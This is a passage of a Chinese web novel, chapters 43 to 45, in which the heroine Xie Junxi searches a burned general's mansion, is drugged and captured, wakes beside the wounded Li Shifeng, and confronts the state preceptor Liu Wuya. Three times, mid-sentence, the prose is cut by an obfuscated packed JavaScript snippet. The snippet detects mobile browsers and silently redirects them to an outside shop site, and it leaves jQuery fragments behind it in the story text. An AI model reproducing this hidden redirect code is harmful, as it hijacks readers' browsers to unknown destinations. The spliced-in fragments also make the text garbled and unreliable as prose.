“那便对了,时丰不告诉本王的事,应当与纵火案有关。”赵泓玉像是突然想到了些什么,示意谢筠熙将头凑过来。 “谢今安,想不想见你的大人?” “好好说话,殿下,不然我走了。”谢筠熙扬起拳头面带微笑看向赵泓玉。 “这是威胁?” “不然呢?” “很没有威胁力的威胁。” “G……”谢筠熙差点把脏字说出了口。 赵泓玉将头别开,不再逗弄这个女人:“去不去柳府?” 这话说得在怎么跟喝口水一样随意? “殿下,您是认真的吗?”谢筠熙的脸上挂满了黑线。 “皇宫你都说去就去了,区区柳府你应当不在话下啊。” 区区柳府???!!我是这么舍身入敌营的高尚之士吗? 谢筠熙有被吓到,她打着哈哈企图同赵泓玉商量:“此事从长再议可以不,殿下……” "本王又没说现在就让你去,别怕啊熙老板。" 赵泓玉捂嘴偷笑。 “哦,这样吗?那就好那就好……” 谢筠熙长舒一口气。 “不过你最近得跟着本王去皇宫多走几趟了。”赵泓玉将话锋一转。 “……好吧。”谢筠熙认命般低下了头。 43. 断箭 “殿下,你说的去皇宫,是让我怎样去啊?”谢筠熙跟在闲庭信步的赵泓玉身后追问。 “届时就要委屈一番熙老板了,宫里的尚衣局女官也是本王的人,需要熙老板跟着她干一段时间的活,不过本王也可以为你提供见你爹的法子,怎么样,还算比较公平吧。” 赵泓玉刚说完,正要转身,就被满眼冒着星星的谢筠熙握住了双手:“殿下,您真是太厉害了,能为殿下所用真是小女子三生有幸!” 赵泓玉被被她掐着手狠狠甩了甩,竟然难得有些发蒙,不过看见谢筠熙那番突然变得狗腿的模样,一时之间总算是明白过来她到底在感恩戴德些什么,僵硬的嘴角瞬间向上扬起,他一把拉过谢筠熙,极其暧昧地凑近她的耳边轻声说道:“那谢小姐可要好好帮本王干事,不要像时丰一般,招呼都不打就跑了,不然,本王可是会生气的。” 谢筠熙不自然地推开寻赵泓玉点了点头,心下暗想:他果真没有放下对李时丰的疑心,说真的,这货的性子才是坐上那个位置的人该有的。 见谢筠熙推开自己,赵泓玉不知又想到了些什么,熟悉的笑容让谢筠熙心生警惕,她知道,此人又要狗嘴里吐不出象牙了。 果不其然,下一秒谢筠熙就听见他那状似委屈的语气:“熙老板,若此刻是时丰上前来,你怕是根本不会推开他吧……” “殿下!您又来了!”谢筠熙一脸果真如此的模样,刚说完这句话就看见赵泓玉那幸灾乐祸的模样,就知道这货又得逞了。 有一件很奇怪的事情,赵泓玉对任何人,包括李时丰和自己,似乎都是抱着利用的态度,他喜欢打破常规的人,任何人都可以成为他手中的工具,但是唯独对自己,却多了一丝玩弄的态度,谢筠熙知道那绝对不是出于某种秘而不宣的情感,似乎是源自于某种好奇的心理。 许是因为谢筠熙也没有刻意隐藏自己的特别,时不时展现出与这个时代不相符的特质,像赵泓玉这种人,自然会被谢筠熙所吸引,所以谢筠熙总觉得,赵泓玉说出的一些话似乎是试探。 想通了这一点,谢筠熙决定稍稍收敛一下自己,尤其是进宫之后,更是如此。 “殿下,小女子要在宫中待上多久?”谢筠熙与思考断开,同赵泓玉问着。 “到时候本王会交予一些任务给你,等到任务做完,你就自然而然可以出宫了。以熙老板的身手和才智,十日足矣了吧?”赵泓玉轻笑一声。 辰朝用的是“十日一休沐”制,也就是说,赵泓玉给她定的期限,竟然是在工作日内完成吗? 万恶的甲方!!! 谢筠熙没有想到哪怕到了古代,也有这样逼迫工作的上司,登时觉得自己又变得一身班味起来,但此人按阶级来说,的确又是自己的顶头上司,所以不得不满脸菜色地应下。 “殿下,在此之前,可否允许小女子再去一趟镇北府?”谢筠熙突然想起来这事,赶忙向赵泓玉征求意见。 “准了准了,若是能带回些什么那就更好了。”赵泓玉毫不犹豫地欣然应下,末了眼珠子一转又想到了大理寺的管理问题,当即又开口,“既然最近时丰暂时不能回大理寺,大理寺卿又一直在外办事,那就暂时由本王和本王的人接管大理寺一些日常周转吧,让陆贰和徐柒跟你一块去镇北府,本王可不希望看到缺胳膊瘦腿的熙老板回来,若是如此,时丰也该又来怪我了。” “是,殿下,那……小女子就先去做准备了?殿下您随意。” 谢筠熙同赵泓玉告了退又回到侧厅,再次准备起那个打包过无数次的包裹,这一次,她打算直接在夜晚潜入镇北府,赵泓玉的安排倒也合理,毕竟是死过人的宅子,谢筠熙虽然一向大胆,但一人前去还是有些害怕的。 黄昏时刻。 谢、陆、徐三人背着行囊离开了大理寺,趁着春日日头还长,借着还未落日的余辉直奔镇北将军府。 这是陆贰和徐柒第一次在没有李时丰的情况下和这个谜一般的女子一同行动,因为没有李时丰的管束话也多起来了些。 “谢……姑娘,大人在你眼里是个什么样的人啊?”陆贰将谢筠熙的那袋布包往上拽了拽,防止它继续往下掉,一边嘴也没闲着。 怎么一个两个都这么好奇我和李时丰的关系呢…… 此时的谢筠熙丝毫没有意识到自己和李时丰的一些举动在常人眼里已超出了正常合作伙伴的范畴。 所以她的回答显得有些敷衍:“就……好人。” 这个答案好耳熟,我跟谁说过来着……记不起来了,算了算了。 谢筠熙晃了晃脑袋。 正等着听八卦的二人组闻言失望地垂下了头。 半晌,陆贰的声音又响了起来:“那个……谢姑娘,之前让你帮我做清扫的惩戒是我的不对,当时我实在是气急了才……希望姑娘不要往心里去。” 这又是什么事? 谢筠熙边走边扬起头回忆,脑海中一闪而过递名册时乱得跟个疯子一般的自己,一阵尴尬感涌来。 老脸丢光了!!我在大理寺里怎么可以这么不修边幅!一世英名啊!! 由于陆贰成功让谢筠熙想起了自己从前的尴尬经历,谢筠熙突然毫无征兆地捂住脸,不愿再回头面对这两个副官。 徐柒比陆贰更加明智些,此刻已然捂住了陆贰的嘴,防止继续惹这个极有可能成为少夫人的不愉快,他正要张嘴找补,还没说什么,却看见谢筠熙已经转过了头,虽然面皮上还透着些薄红,却没有再像方才那样恨不得找个地缝钻进去。 “陆副官。”她突然极为郑重地喊了陆贰一句,反倒把陆贰吓了一跳,那女人俯身上前,看上去一副可怜兮兮的模样,眼里却透着鬼精,“之前的事哪里是你的错,赔罪是我应该做的事情,还有一些殿下说的话,你们都别往心里去,不然让人误会,我一个妇道人家,若是被以一传百,那就不太好了……” 咦——这话真是老封建…… 谢筠熙说出这话的时候强忍着不适,装出一副自以为镇定的模样。 这在徐柒和陆贰眼里却成了另外一种意思,尤其是徐柒,他分明看到了谢筠熙那强忍着什么的痛苦模样。 徐柒慌忙解释:“姑娘莫要生气,我们的嘴很严的,保证不会说出去半个字,您和大人的事,我们都会好好替你们保守,事成之前,绝不外传!” 一边说着,他还作出了发誓的手势,顺便把愣在一旁陆贰的手也薅了过来,疯狂用眼神暗示他起誓。 谢筠熙被迫停下脚步,看着两人莫名其买的动作,陷入了沉思:我怎么感觉他们没理解我说的意思呢?事情的走向好像有些不大对啊……事成?什么事成?这还是人话吗?我怎么听懂啊…… 见两人一脸无辜且真诚的模样,谢筠熙心道:算了算了…… 放弃同二人掰扯后,她拔脚继续向镇北府的方向走去,并且比刚刚走得更加快了些。 两男一女来到镇北府的时候,天色已有些暗沉下去,虽然远处的夜市看上去还是那么热闹,灯火通明人声鼎沸,走出了这一段,周围的一切却都变得安静起来,四周只能偶尔听到几声夜鸟的鸣叫,看见些微亮的萤火光,偶尔有一两个行人经过,都是缩着脖子加快脚步离开这个充满不详的地方。 谢筠熙回忆着上一次来到这里的情形,围着镇北府外四处转悠,用手中火折子那点亮光找着上一次李时丰带她去的那个小门,可是却怎么也找不到。 “姑娘这是在找什么?”徐柒也举着火折子过来,询问她是否需要帮忙。 “上次大人带我来这时,是从一处与我正好一样高的小木门进去的,可是我怎么找都找不到,真是奇了怪了。”谢筠熙嘟囔着,心里有些纳闷。 “大人将镇北府的钥匙交给我们了,不需要走小门。”徐柒从怀里掏出那把有些陈旧的古铜色钥匙,在谢筠熙面前晃了晃。 “怎么……呃哈哈哈,这样的吗,那大人想的真是周到啊!”谢筠熙将前半句话吞进肚子里,竖起了自己的大拇指。 为什么不提前和我说啊啊啊!显得我像个小丑…… 谢筠熙简直有些生无可恋。 “小姐,这是何意?”徐柒注视着谢筠熙的手势,有些费解。 糟糕,忘了古代人不知道竖大拇指的意思…… “啊,那是夸你聪明的意思,徐副官。”谢筠熙朝徐柒露出标准的微笑,“那我们从大门走吧,请。” 这女人果然有些不同寻常……徐柒愣了愣,招呼上陆贰和谢筠熙一同前去开门。 “这里平日里没有人来是吗?”谢筠熙走进大门,熟悉的尘封味道传来,谢筠熙忍不住打了个喷嚏,透过火折子,空气中漂浮着微小的尘粒,还有一些飞舞的小虫子,谢筠熙揉了揉鼻子,这才向离她最近的徐柒问话。 谁知这次徐柒还没有开口,陆贰便开始抢答:“每七日官府会派人前来打扫,因为这是镇北将军的旧府……只是……” “只是官府那帮人根本就没有用心罢了。”谢筠熙接上后话,眼里的嘲讽与寒意几乎要喷涌而出。 徐柒恍惚了一瞬,似乎在谢筠熙身上看到了李时丰的影子,他不太确定地擦了擦双眼,谢筠熙早已恢复那副毫无波澜的模样,这让他怀疑自己方才是不是看走了眼。 正在他走神这段时间,谢筠熙开口吩咐:“我们要分头行动吗?” "不行啊小姐,殿下命我们保护好小姐寸步不离,恕我们难从命。"徐柒向谢筠熙致歉。 “真的不可以吗?” 谢筠熙再次请求。 徐柒和陆贰对视一眼,同时摇了摇头。 “好吧……那你们知道镇北府的构造吗?”谢筠熙只好妥协。 徐柒从自己的行囊里掏出一叠叠得整整齐齐的小纸,递给谢筠熙。 谢筠熙小心翼翼地打开,入目的便是镇北府的全貌地图,上面标注了各处的方位,应有尽有,十分详尽,看墨迹,似乎还很新鲜,应当是最近才画出来的图纸。 “这是……大人画的?”谢筠熙有些不太确定。 “嗯,大人前几日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645602|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下的。”徐柒点了点头表示肯定。 “他竟然把这座旧宅记得这么清晰……”谢筠熙喃喃自语。 虽然以前未在京城常住,事发之后结果未尽人意,他一定来了很多次这座宅子…… 谢筠熙突然想到这些,代入李时丰的视角,突然有些说不出口的心酸。 “走吧,先去将军府的议事厅看看。”谢筠熙抬脚径直往正中间那屋子走去,入目的苍夷让她每一步都走得十分沉重。 因为大部分屋子都已经被烧的焦黑,留给谢筠熙探查的东西实在不多,所以她只能小心翼翼地踏过一些断了的房梁,继续往里面探去。 陆贰和徐柒跟在谢筠熙的身后,保持着长久的沉默,一时之间,屋子里只剩下翻找东西的声音。 "小姐,三年前这里就已经被翻了个底朝天,如今我们又能找到什么呢?" 谢筠熙头也没回:“一定会有遗漏的东西,我们只管找就是了,开头别说丧气话,陆贰。” 陆贰被说得一愣,侧头询问徐柒:“我是不是又说错话了……总觉得小姐的语气和大人越来越像了,是我的错觉吗?” “干你的活去,还有,少说话。”徐柒竖起食指放在嘴边。 陆贰瘪了瘪嘴,有些委屈,但也不敢说什么。 几人在议事厅里找了一会,丝毫没有成果。 不过谢筠熙倒是已经搜搜刮刮往布袋里塞了不少的东西。 “这些都有用吗小姐?”徐柒往布袋里好奇地瞄了一眼,尽是些斑驳不堪的旧物,有些已经焦黑了。 “不一定,但是可能会有用,我自会分辨。”谢筠熙没有停下脚步,而是继续往另一个屋子走去。 “镇北将军对其夫人一心一意,二人既是恩爱有加的夫妻,又是战场上亲密无间的战友,将军没有纳妾,所以府里的房间空置的很多,大部分都用来当客房了。”徐柒在一边做着解释,一边跟上谢筠熙的脚步。 “当真是一段佳话,只可惜……”谢筠熙低下头表示惋惜,镇北将军季项年与其夫人杨珺本应该是历史上令人羡艳羡的神仙眷侣,名垂青史的将军夫妇,谁知没能英勇战死在沙场上,却偏偏被人害死在天子脚下,实在是可悲可叹! 说话之间,几人正要迈进厢房,路过那处院池时谢筠熙却停下了脚步。 “怎么了,小姐。”见谢筠熙停下,陆贰和徐柒也跟着停住了脚步。 谢筠熙分明看见院池外圈的草丛里,有什么东西正跟着火折子闪闪发光。 “谁?”谢筠熙喊了一声,却并没有得到回应,她快步上前,借着亮光走进那个可疑的事物。 那东西又闪了一下,突然不见了踪影。 谢筠熙忙将手中的布包塞到陆贰手中,急切地钻进草丛里。 谁知刚踏进那草丛一步,就听见了一声十分凄厉的叫声。 “喵呜!!!” “咪咪?”谢筠熙这才感受到脚底下奇怪的软绵绵触感,急忙将脚拿开,小心翼翼地弯下腰扒开草丛,果不其然,那里蹲着一只颇为消瘦的小猫,似乎是黑白相间的花色,此刻正奓着毛,冲着谢筠熙一个劲地哈气。 完了,刚刚好像不小心踩到这只咪咪的尾巴了。 “对不起对不起,我不是故意的。”谢筠熙自觉地和小猫隔开了一段距离,怕再次吓到它,和小猫在不远处对视。 “小姐,这是怎么……” “嘘……先别说话,让它冷静冷静。”谢筠熙特意又把面前的草堆遮上了一些,透过缝隙关注着小猫的动态。 “我们不走吗小姐……” “闭嘴。”谢筠熙皱着眉冲开口的陆贰发出警告。 “哦……” 陆贰再次委屈起来。 好不容易等那小猫放松下来,为了防止再次吓到小猫,谢筠熙把火折子递给徐柒,自己慢慢往小猫的地方挪去。 此时天已经完全黑下来,谢筠熙借这微弱的光源,勉强可以看清这小猫似乎是在吃些什么东西。 谢筠熙想要看得更清晰些,于是离得更近了些。 那小猫明显察觉到了谢筠熙的存在,却没有再次炸毛,只是视若无睹地享用自己的晚餐。 这时谢筠熙终于看清楚了眼前的景象。 那小猫似乎是在啃食一条已经死透的鱼,看上去已经凉了很久,都快成为鱼干了。 谢筠熙又大着胆子轻唤徐柒把火折子给她,光源逐渐逼近小猫,它却依旧没有反应,谢筠熙安心地照着地上那条死鱼,却发现一旁还有一截奇怪的木棍,谢筠熙伸手将它拿起来,才发现它顶端尖利的。 谢筠熙拿出手帕,将上面的污物擦去,一丝寒芒在黑夜中悠悠亮起。 小箭矢! 谢筠熙想起来在香楼时使用的暗刃,似乎和那武器一般,这种小箭矢应当也是用以防身的腕部暗器射出来的。 可面前这枚显然不像是新的小箭矢,从哪来的呢…… 谢筠熙将它放进布袋,转身对陆贰和徐柒道:“我们回去吧。” 44. 方寸大乱 没有人回应谢筠熙的话。 见鬼了? 谢筠熙立刻心生警惕,她将箭矢塞用方帕裹上,装进自己的里衣,半蹲着身子往后一点点退去。 就在熄灭火折子的前一秒,她分明看到那只瘦削的小猫突然晃了晃身子,直直往地上倒去。 完,蛋,了。 果不其然,谢筠熙正想捂住口鼻起来,但空气里那若有若无的气味还是钻进了谢筠熙的鼻腔内,眼前一黑之前,她看到了身后被放倒的陆贰和徐柒,以及逐渐向自己逼近的黑影。 那个消失的门果然有问题,看来赵泓玉也有失策的时候啊…… 这是谢筠熙昏倒之前脑海里出现的最后一个念头。 “小熙?快醒醒。” 谁,是谁在说话? 小熙……怎么会有人知道我的小名……不对,不对…… 谢筠熙猛然睁眼,映入眼帘的是熟悉而又有些陌生的房顶。 这是……我自己家吗?我不是正穿越吗? 可身上盖的被子,身边熟悉的玩偶,以及眼前永远温和的眉眼…… “妈?”谢筠熙简直有些不可置信。 就像是做了一个光怪陆离的梦,谢筠熙几乎有些不太敢确定眼前的一切,她下意识伸出双臂想要搂住自己的母亲,就在快要触碰到的那一瞬间,这些却真的成为了幻影,母亲笑着从眼前消失,成为破碎的虚影飘向空中,化成密函、拐子册、柳叶佩……还有一些模糊不清的虚影,让人分辨不清。 “修复一切,回归正轨……” 谢筠熙最后听见的便是这句混沌虚空中的话,直到她恢复意识,睁开双眼的那一瞬,晨光洒进屋里,将她晃得有些迷茫,她使劲眨了眨眼,聚焦在了离她仅有咫尺的俊脸。 还未重启的大脑让谢筠熙肌肉记忆地开始观察周围的环境,谁知她刚动了一下,面前的人就直直倒进了自己的肩窝。 这一下让谢筠熙彻底清醒过来。 熟悉的血腥味钻进鼻尖,谢筠熙这才发现自己身处在一处极为简陋的柴房,而身上靠着的人,正是前两日不见了的……李时丰!! “大人,你怎么在这……” “别动,让我靠一会,就一会。”李时丰拿手捂住谢筠熙的嘴,嗓子和破风箱一般,让谢筠熙浑身一震。 不对不对……我好像是被迷晕了,有人带走了我,有人带走了我,这是哪里…… 谢筠熙努力回忆着之前发生的事,脑袋昏昏沉沉疼痛不已。 箭矢!对,箭矢还在不在?! 谢筠熙将手摸向自己的里杉,却被李时丰一把抓住了手腕。 “不要乱动,有人在看。” 谢筠熙刚伸出的手一僵,脱了力软软垂到身旁,她张口对李时丰说出这几日未见以来的第二句话:“大人,这是柳……” 李时丰看上去很是疲惫,还没等谢筠熙说完,就小幅度地点了点头,不让谢筠熙再说下去。 “你下去吧,换我来当守了。”门外突然传来一阵熟悉的声音,紧接着就是纷杂的脚步声。 “花昀?”谢筠熙没有发出声音,只是对侧靠在肩头的李时丰做出这样一个口型。 “嗯。”李时丰只是沉声表示肯定,就没有再发一言。 谢筠熙这时才敢动身,她立刻把李时丰从肩上扶起,检查他此时的状态。 借着晨光谢筠熙才发现李时丰此时上半身是裸着的,似乎是被人强行扒去了衣物,上面几乎全是新鲜的伤痕,大大小小布满了李时丰的前胸和后背。 “他们把你拷起来鞭打了吗?!”谢筠熙心中燃起的怒火几乎要将她自己吞噬。 为什么这么生气,为什么……从来没有过的感觉…… 谢筠熙顾不得这一丝迷茫,她关切而又愤懑的目光被李时丰尽收眼底。 出乎意料地,李时丰伸出自己的手,轻轻碰了碰谢筠熙的嘴角。 一阵疼痛感袭来,谢筠熙忍不住“嘶”了一声。 “好痛……”谢筠熙这才发觉自己也不出意外地挂了彩,支起来的膝盖也有些发抖,应当是被人拖拽导致的。 这下谢筠熙更加生气了。 “他们没对我做什么。”李时丰扯着嘴角笑了笑,勉强掀起眼皮看了一眼谢筠熙。 “这还没做什么?!”谢筠熙将手轻轻覆上李时丰的胸口,连自己都没有察觉到那溢于言表的心疼。 李时丰呆住了。 也许谢筠熙并没有什么特别的意思,但女人在身上游走的手掌让李时丰的感官更加明显,伤痛他早已习惯且能忍,偏偏这样的触碰让他有些不能忍受。 眼见着谢筠熙就要往下面摸去,李时丰正想要伸出手阻止,她却自觉得停了下来,面颊肉眼可见变得有些红。 我刚刚在做什么,啊啊啊啊啊,好歹他也是个男人,开自动吸附了吗,死手啊死手!! 李时丰正疑惑的时候,谢筠熙心里早已方寸大乱,她没有想到自己出于本能的反应如今看来竟是这样的怪异,这样她忍不住开始反思起自己的所作所为。 李时丰注视了她足足十秒,突然有些了然,他不顾谢筠熙的窘迫,说出了一句更加要命的话:“怎么不继续了,本官又没怪罪你。” 谢筠熙瞳孔地震:他在说什么,他不觉得怪吗,他,他,他…… 眼见着谢筠熙就快要烧起来了,李时丰这才放下逗弄的心思,重新做起人来:“本官逼他们说出了一些话,自然免不了这顿毒打,只是殿下需得加快些动作了。” 谢筠熙意识回笼,秒切工作脸,但心里的余韵还未散去,她磕磕绊绊向李时丰问道:“大人……那日失踪是因为……花昀吗?” “是,你凑近些。”李时丰突然不打算彻底放过谢筠熙了,说出这话就对谢筠熙勾了勾手指。 谢筠熙不出意外地又闹了个大红脸,但她此时也不敢和李时丰对戗,只能顺从地将身子凑过去,因为膝盖的疼痛不得不侧倚在李时丰身边听他说话。 李时丰计谋得逞,嘴角扬起一丝狡黠的笑,借着自己现在浑身是伤的由头再次靠到谢筠熙肩头:“那日回去,花昀又找上了我,说柳府有我想要的真相,本官起初并不能完全相信他。” 谢筠熙听得很认真,但不敢完全直视他的双眼,李时丰这张脸冲击力太大,谢筠熙怕自己道心不稳,有碍查案。 当然这只是她自己的想法。 “花昀那日在镇北府看着也不像是特别服软的样子,所以,他们做了什么?” 谢筠熙小声地说着,两人交谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666760|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音因为凑得极近只有对方可以听见。 “花昀是不是同你说过,他不记得从前的事,但是现在却又记起来了。” 李时丰的声音在谢筠熙耳边嗡嗡震着,让她无所适从,只能一边忍着心里奇异的波动,一边回忆着从前发生的事情。 的确如此,花昀说过这样的话。 谢筠熙点点头。 李时丰见状接着叙述:“花昀原本应是我……季项年的老部下长大的孤儿,只是柳府的人谋杀了他的养父,又用一些手段将他弄得只能记得一些破碎的往事,之后也是如此。” 谢筠熙愣住了。 “那个老部下,你见过吗,大人。” “没见过,这是本官出世之前的事了,本官也不太知道,花昀没有与本官细说。” 不知是不是谢筠熙的错觉,说这话的时候李时丰似乎朝自己的耳朵不轻不重吹了一口气。 她觉得有些发痒,又不自觉偏了偏头,却没有看见李时丰不满地皱了皱眉。 “那便又是另一件事了,只是此事被花昀知晓后他早已积怨已久,大人……”谢筠熙停顿了一下,见李时丰又恬不知耻地蹭了蹭自己的肩窝,内心纠结了一番,终于抛出了一个极其暧昧的话题,“你为什么要这样,大人,好痒。” 李时丰将头缓缓抬起,如同第一日见的那般,摆出那副游刃有余的姿态来,他有时真想剥开谢筠熙的心来看看,她那虚有其表的壳子里到底装着一颗怎样的心。 见到柳无涯和赵璟曜,知道那事的第一刻,他的第一反应就是要杀了这两个人,可是他忽然发觉,这种想法下一秒就变成了不可操之过急,满脑子都是谢筠熙的那句“一根绳上的蚱蜢”。 赵泓玉让他变成了杀伐果决的“黑罗刹”,可到了谢筠熙这,他又成了凡事三思后行的人。 明明这个女人比他还要不知所谓,偏偏却让他成了那个明白轻重缓急者,这时李时丰才知道谢筠熙在他心里的地位早已发生了不可逆转的变化。 而他那时有时无的,来自心底的悸动,也许早已有迹可循。 这颗心,在为了一个活着的人而跳动。 李时丰反问:“谢今安,你真的不知道吗?” 谢筠熙隐隐觉得,若是自己继续深思下去,恐怕会得到一个惊天的结果,但她不想这么快就知道,至少不是现在这种状态下。 她谢筠熙从来不做心里没底的事,这是她一生奉行的准则。 “大人,等到了时候你再告诉我吧,眼下不是聊这事的时候。” 那女人的眼里永远烧着让李时丰都为之触动的光芒,他的嘴角落回正常的弧度:“好。” “二位,卿卿我我的话总算可以结束了吗,那属下可进来了哦。” 门外传来的声音让屋里的二人同时警觉起来。 “花昀。”谢筠熙依旧没有放下戒备之心。 “大人要见你们两个,跟我来吧。”花昀一进门就突然变了脸色。 “大人,你能走吗?”谢筠熙架着李时丰起身。 “可以,松手吧,本官的腿还没断。”李时丰接过花昀送来的上裳,强忍着布料摩擦过伤口的疼痛将它穿上,面上却看不出什么表情。 二人过跟着花昀走出了柴房。 45. 柳无涯 谢、李二人跟着花昀穿过柳府的长廊,不远处可以看见宅邸错落有致的房屋建筑,足见柳府的富足与权势之大。 谢筠熙已经意识到自己此刻早已被洗去了伪装,她是作为丞相嫡女的身份和本朝最危险的人接触,只是唯一的安慰是,李时丰在她身旁。 “你在害怕?”李时丰捏了捏谢筠熙的掌心,用口型同她交流。 谢筠熙深吸一口气,摇了摇头。 “谢小姐不需要紧张,国师一向宽以待人。”花昀并没有转身,语气里却带着笑意。 “不,我是在兴奋。” 谢筠熙的一句话,将两个男人都说得有些愣神。 李时丰最先反应过来,就如同之前香楼案、拐子案和九皇子的事,谢筠熙每一次都处于一种极度兴奋的状态下,和他有些不同的地方,谢筠熙对辰朝每一件具有代表意义的人和事都表现得十分反常,这也是他时常疑惑的一个点。 但花昀对谢筠熙的了解显然没有李时丰这么深入,也不知道谢筠熙的“兴奋”到底包含了几种意思,所以他只能惊奇地张了张嘴,最后说出一句忠告:“谢小姐,虽然不知道您是什么意思,但请谨言慎行。” “嗯,了解。”谢筠熙并没有因此停下脚步,反而比方才走得更快了些,直到与花昀在同一条水平线上。 “小姐,对国师很感兴趣?”。花昀见她这样,实在没忍住好奇问了这样一句话。 “怎么不感兴趣,这可是活的国师。”谢筠熙此时膝盖上的伤也不痛了,嘴角也不抽抽了,只剩下满眼的激动。 虽然在历史记载上就不像是什么好人……赵泓玉也说了关于他的诟病……但没有什么比活文物更让人激动的了。 谢筠熙如是想着。 那日接风宴她急着去见自己老爹,并没有过分关注柳无涯的动向,只在李时丰身后逆着光远远望见过一眼柳无涯上前与赵明赫相见的场面,但并没有看得太真切。 谢筠熙没有想到,柳无涯和她设想的尖酸刻薄唯利是图形象基本可以说是十万八千里的差别,直到见到面前这个年过半百的高位之人,谢筠熙才惊觉自己的刻板印象又在作祟。 这次直观地看清了柳无涯的样貌,他在府中只身着常服,没有官服的加持他就像是个普通的老大叔,斑白的鬓角,眼角堆积着皱纹,标准的山羊胡瘦长脸。 看不出野心勃勃,看不出权力至上的双眸正包含着一种极为复杂的情绪与谢筠熙对视上。 谢筠熙呼吸一滞,不由自主地停住了脚步。 花昀尽职尽责地扮演着忠实的下属,将李时丰和谢筠熙带到柳无涯跟前,毕恭毕敬地向当今国师行礼:“大人,属下将他们带过来了。” “嗯,下去吧。”柳无涯摆了摆手,放下手中的书卷,示意花昀离开。 “是。” 花昀贴心地为柳无涯带上了门,临走前最后深深看了谢筠熙和李时丰一眼。 与此同时,屋里只剩下这两处不在同一立场的人,李时丰不需要看也知道这屋内看似只有他们三人,实际上各处都藏着暗卫,只要他们有所异动,就立刻会动手。 “国师大人还是一如既往得谨慎。”李时丰最先开口打破沉默,语气里暗藏着对柳无涯的嘲弄。 “季家的小子,谢家的小女,你们来得还真齐。” 辰朝的最高学术与政治顾问,饱读诗书,知识渊博的国师开口第一句话就让谢筠熙出乎意料。 还以为他会满口“之乎者也”呢,没想到这么接地气…… “您抓我们来是要做什么?”李时丰将谢筠熙挡在身后,沉稳地开口问道。 “怎么能用‘抓’呢,这只是‘请’你们来府上做客,词不达意,季家小子你不要胡乱解读。”柳无涯哈哈笑着,俨然没有一点摆架子的模样。 “大人,您邀我们前来,所为何事?”李时丰还没来得及开口,谢筠熙先一步上前。 李时丰来不及阻止,谢筠熙却先一步用手回捏了李时丰,又悄悄眨了眨眼。 这女人又要干什么…… “老夫只是想要请你们,来喝一壶茶罢了,谈谈旧事而已。”柳无涯指了指面前那两块早已安置好的蒲团。 谢筠熙没有犹豫,坦坦荡荡上前坐下,又招呼李时丰一起坐下。 “不错,谢家小女的性子果真如她爹一般,老夫很是欣赏。”柳无涯捋了捋胡子。 若算着柳无涯和谢康的关系,怎么说也该是政敌吧……虽然自家那爹对勾心斗角的事没什么意思,但这些个谜语人表面一套背后一套的做派谢筠熙如今再了解不过,所以这算是被宿敌夸了? 谢筠熙砸吧砸吧这其中的意味,不知作何感想。 “老夫听说李大人在追查纵火案的事?”柳无涯直截了当的询问竟让李时丰有些不知道该如何应对。 “以诸位大人的神通,此事朝廷上下的官员都该知晓了吧。”李时丰身上的伤让他不得不绷直脊梁坐着,柳无涯敏锐地察觉到了他的异样。 “李大人,愚孙下手重了些,实在对不住,只能忍耐几个时辰了。” 柳无涯说罢,又笑起来,那笑里透着狡黠,让谢筠熙突然觉得有些悚然,“李大人未免太过绝对了些,不过大抵是这样的。” 哼,废话。 李时丰在心里冷哼一声。 柳无涯提到李时丰的伤,谢筠熙才想起来,此时看见李时丰岿然不动的身躯,眼里带上了些许担忧。 但李时丰却并没有把皮肉之痛当一回事。 柳无涯将目光从李时丰身上转到谢筠熙那一边,微微眯上了眼。 “谢家小女,季家小子……倒还挺门当户对,只是可惜了。” 听见这一句,谢筠熙的心头涌上一阵诡异的熟悉感。 是错觉吧? 谢筠熙的内心正惊疑不定。 “若识相的,老夫劝你不要再查下去了,还有衡王,这孩子也当多加远离才好,否则,越陷越深可不是什么明智之举。”柳无涯顺着方才的话题说下去。 毫不意外地招来了李时丰的冷眼相待:“大人这是怕了吗?如今二皇子在您的掌握之下,又多了一个九皇子,您又有什么理由阻止我去调查爹娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678185|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的死因。” 不知是不是错觉,谢筠熙总觉得提到九皇子的那一瞬,柳无涯再次几不可查地皱了皱眉,反应同接风宴上如出一辙。 “还有衡王,大人难道还怕被自己亲手带出来的徒弟比下去吗?”李时丰说到这里明显察觉到柳无涯变了脸色,但他依旧不依不饶,“大人,不管怎样,我都会查到底。” 李时丰把最后一句话咬得很重,像是要嵌进血肉里,望向柳无涯的眼里充满了挑衅。 又吃了一口皇家秘闻的谢筠熙惊讶地瞪大了双眼:国师的确有资格教育皇子,若赵泓玉受过他的教导不足为奇,可照李时丰这意思,总觉得又不止这么简单。 